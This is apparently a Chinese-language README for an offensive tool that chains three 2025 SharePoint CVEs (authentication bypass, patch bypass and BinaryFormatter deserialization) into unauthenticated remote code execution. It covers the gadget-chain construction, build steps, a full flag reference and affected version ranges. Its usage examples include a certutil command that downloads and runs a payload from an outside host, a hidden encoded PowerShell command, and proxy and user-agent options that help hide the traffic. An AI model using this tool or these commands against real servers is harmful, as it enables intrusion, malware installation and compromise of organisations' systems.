你真的认为 SharePoint 安全吗?
独立自包含的单二进制 SharePoint RCE 工具。生成 TypeConfuseDelegate 利用链作为原始 MS-NRBF 字节(无需 ysoserial.exe),将其包装在 DataSet 反序列化载荷中,并通过 HTTP 利用身份验证绕过进行传递——全部一次性完成。
| 步骤 | CVE | 描述 |
|---|---|---|
| 1 | CVE-2025-49706 | 身份验证绕过 — Referer: /_layouts/SignOut.aspx 跳过 SharePoint 身份验证 |
| 2 | CVE-2025-53771 | 补丁绕过 — ToolPane.aspx 后的尾部路径段规避 2025 年 7 月修复 |
| 3 | CVE-2025-49704 | 反序列化 — ExcelDataSet.CompressedDataTable 在构造的 DataSet 上触发 BinaryFormatter |
| 4 | — | DataSet 模式强制通过 ExpandedWrapper + ObjectDataProvider 对内部载荷执行 LosFormatter.Deserialize() |
| 5 | — | TypeConfuseDelegate — SortedSet<string> 的比较器是 Process.Start(string, string),执行 cmd /c <command> |
整个二进制流(包括外层的 DataSet 包装器和内部的 TypeConfuseDelegate 利用链)均作为原始 MS-NRBF 记录构建——未使用 .NET 运行时序列化。这与 Metasploit 模块生成的格式逐字节匹配。
需要 .NET Framework 4.8 SDK(Visual Studio 2022 或独立 Build Tools):
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
输出:OurSharePoint\bin\Release\OurSharePoint.exe(单个文件,无依赖)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
当使用 --out 时,工具会写入以下文件:
| 文件 | 内容 |
|---|---|
<prefix>.bin | 原始 BinaryFormatter DataSet 流 |
<prefix>.b64 | GZip + Base64 编码(即放入 CompressedDataTable 的内容) |
| 版本 | 受影响范围 |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter 作为原始 MS-NRBF 二进制记录写入。这避免了 .NET 运行时序列化输出与目标反序列化器预期之间的差异。ObjectStateFormatter 头字节(0xFF 0x01 0x32 + 7 位长度)进行包装,而非使用 LosFormatter.Serialize()。| 标志 | 描述 | 默认值 |
|---|
--cmd=COMMAND | 要执行的命令(以 cmd /c COMMAND 运行) | — |
--in=FILE | 预构建的 base64 LosFormatter 载荷文件 | — |
--target=URL | 用于 HTTP 传递的 SharePoint 基础 URL | — |
--check | 仅指纹识别版本,不发送载荷 | — |
--out=PREFIX | 输出文件前缀 | payload |
--sp-version=VER | Layouts 路径版本(15 或 16) | 15 |
--proxy=URL | HTTP 代理 | — |
--ua=STRING | 自定义 User-Agent | Firefox 120 |
--referer=URL | 覆盖认证绕过 Referer | auto |
--timeout=SEC | HTTP 超时 | 15 |
--a/b/c=NAME | DataSet/元素/列名称 | 随机 |